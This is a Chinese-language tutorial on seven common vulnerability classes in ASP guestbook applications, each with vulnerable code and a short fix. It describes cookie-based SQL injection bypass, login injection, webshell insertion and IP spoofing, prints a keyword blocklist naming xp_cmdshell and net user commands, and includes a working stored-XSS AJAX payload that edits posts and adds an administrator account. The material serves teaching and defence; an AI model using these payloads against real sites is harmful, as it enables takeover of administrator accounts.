留言本的功能比较单一,一般针对普通浏览者只有留言的功能。而对于管理员的功能多少在于编写着对留言本的优化。一般管理员有回复留言编辑留言删除留言还有网站用户修改网站基础(类似与标题等)修改。
常见漏洞①
Conn.asp暴库漏洞
测试程序:粑粑工作室留言本2.0
漏洞代码:
<%
dim conn,mydb,db,rs
db=dbstr&"data/#[email protected]"
AccessPath=dbstr&"data"
Set Conn = Server.CreateObject("ADODB.Connection")
mydb="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
Conn.Open Mydb
%>
其实这个也不算上漏洞代码,针对这个漏洞的原因大家可以看看vip脚本入侵教程的[第5课]暴库的原理和实践
'C:\Inetpub\111\留言本2.0\include\data\#[email protected]'
看到这段了吧。正常的数据库文件在C:\Inetpub\111\留言本2.0\data\#[email protected]这里。
防范方法:
直接在conn.asp加入容错语句。
常见漏洞②
数据库下载漏洞
其实数据库所谓数据库下载漏洞呢,有两种。
1. 默认数据库下载。
因为很多人不怎么在乎留言本安全所以很多人都用默认的数据库。导致可以下载。
2. 利用暴库漏洞获取数据库,然后进行下载。下载方法如上所述。
防范方法:
1. 修改默认数据库地址。
2. 添加防下载表
常见漏洞③
注射漏洞
这里的注射漏洞跟普通注射漏洞一样。由于没找到特好的实例,所以把前面的代码改了一下。
测试程序:粑粑工作室留言本2.0
去掉了conn.asp的方注射代码。
gshow.asp
set rs=server.CreateObject("adodb.recordset")
sql="select * from gonggao where id="&request.QueryString("id")
rs.open sql,conn,1,3
但是这里程序conn.asp有防注入代码。
代码如下:
<%
'--------定义部份------------------
Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr
'自定义需要过滤的字串,用 "|" 分隔
XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
'----------------------------------
%>
<%
XH_Inf = split(XH_In,"|")
'--------POST部份------------------
If Request.Form<>"" Then
For Each XH_Post In Request.Form
For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ:253436577');</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作Ip:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:post<br>"
Response.Write "提交参数:"&XH_Post&"<br>"
Response.Write "提交数据:"&Request.Form(XH_Post)
Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ:253436577');window.close();</Script>"
Response.End
End If
Next
Next
End If
'----------------------------------
'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString
For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ:253436577');</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作Ip:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ:253436577');window.close();</Script>"
Response.End
End If
Next
Next
End If
'----------------------------------
%>
大家一定对这段代码比较熟悉。标准的防注入程序。只要是对近来一年内的注射有了解就知道这段代码没做cookie过滤导致我们可以利用cookie注射了。
防范方法:
1. 添加cookie防注入代码
2. 对获取变量进行过滤。
常见漏洞④
后台验证漏洞
简单来说这个就是变形的sql注射漏洞。
测试程序:心情故事屋留言本系统
checkpass.asp
<!--#include file="conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
admin=request.form("admin") '定义admin的值是表单传过来的用户名域名称admin
password=request.form("password") '定义password的值是表单传过来的用户名域名称password
if admin="" or password="" then '这句的意思是假如用户名和密码没有输入的话那么执行下一句
response.Write("<script language=javascript>alert('请填写完整!');history.go(-1)</script>") '用javascript脚本提示用户
end if '结束if语句
sql="select * from admin where admin='"&admin&"' and password='"&password&"'" '查询admin表中的admin和password两个字段
set rs=conn.execute(sql) '设定记录集rs,用conn执行SQL语句
if rs.eof or rs.bof then '当没有符合筛选结果时,则执行下面的句子
response.write "<script language=javascript>"
response.write "alert('用户或密码不对!');"
response.write "javascript:history.go(-1);"
response.write "</script>" '用javascript脚本提示用户
else '如果符合条件的时候
session("admin")=admin '新建session,值等于表单传来的用户名
response.write"<SCRIPT language=JavaScript>alert('登陆成功');"
response.write"this.location.href='mymanage.asp';</SCRIPT>"
end if '结束if语句
防范方法:
这种漏洞直接过滤“’”就行。
但是针对注射一定要进行全面过滤。
常见漏洞⑤
数据库写入漏洞
这种漏洞我在找代码的过程中也比较费劲,有些利用比较费劲所以我改一下。让利用比较直接。
Index.asp
Id=Request.Querystring("Id")
Books_mingzi=htmlencode(Request.form("mingzi"))
If Books_mingzi="" then Books_mingzi="匿名者" End If
Books_biaoti=htmlencode(Request.form("biaoti"))
Books_neirong=htmlencode(Request.form("neirong"))
在这里利用了htmlencode过了了,我们随便利用某一个去掉过滤然后进行测试就可以了。
我这里去掉了neirong前面的htmlencode。
直接利用蓝屏一句话提交就可以了。
好了简单的写入讲解了。
我们再看这个代码中的相对来说不简单的写入。
(这里我没做实际测试,但是记得好像06年有人专门为这个写过文章,针对php的,所以估计asp也差不多。)
Set mRs= Server.CreateObject("adodb.recordSet")
mRs.open "Select * from dqe_gustbook", conn, 1, 3
mRs.addnew
mRs("who") = Books_mingzi
mRs("biaoti") = Books_biaoti
mRs("neirong") = Books_neirong
mRs("lanmu") = lanmu
mRs("zhiding") = 0
mRs("shijian") = now()
UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
mRs("ip") = UserIP
mRs.update
mRs.close
这里UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
因为"HTTP_X_FORWARDED_FOR"这个值是通过获取HTTP头的"X_FORWARDED_FOR"属性取得.所以这里就提供给恶意破坏者一个办法:可以伪造IP地址!
针对这个我只说这么多,希望大家自己继续在研究。
还有很多过滤形式可以绕过,希望大家发挥自己的创新能力。共享自己的技巧。
常见漏洞⑥
嵌入xss漏洞
这次是利用深度学习(asp)留言板,也就是本次黑客防线挑战议题。
接下来就是利用跨站来获取我们需要做的操作了。
这次议题我让大家修改留言贴倒数第二个留言信息。
本次议题到目前为止就一人完成,冰雪风谷[Z.S.T]。
我这里就直接利用他写的ajax代码来完成本次的教学。
function getXHR() {
var xhr = null
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (window.createRequest) {
xhr = window.createRequest();
} else if (window.ActiveXObject) {
try {
xhr = new ActiveXObject('Msxml2.XMLHTTP');
} catch( E ) {
try {
xhr = new ActiveXObject('Microsoft.XMLHTTP');
} catch(E) {}
}
}
return xhr;
}
var ajax = getXHR();
ajax.open('POST','/admin/guestBook/guestBook_update.asp',false);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send("guestName=test&guestContent=bingxuefenggu&guest_ID=19");//
ajax.onreadystatechange=function() {}
var ajax1 = getXHR();
ajax1.open('POST','/admin/adminUser/adminUser_Add.asp',false);
ajax1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax1.send("UserName=test&password1=test");
防范方法:
Function htmlencode(fString)
If not isnull(fString) then
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
fString = Replace(fString, CHR(32), " ")
fString = Replace(fString, CHR(9), " ")
fString = Replace(fString, CHR(34), """)
fString = Replace(fString, CHR(39), "'")
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "</p><p> ")
fString = Replace(fString, CHR(10), "<br> ")
htmlencode = fString
End If
End Function
常见漏洞⑦
URL xss漏洞
针对URL跨站我就不想讲太多了,跟上面嵌入xss差不多。
大家可以看看动网多个URL xss跨站漏洞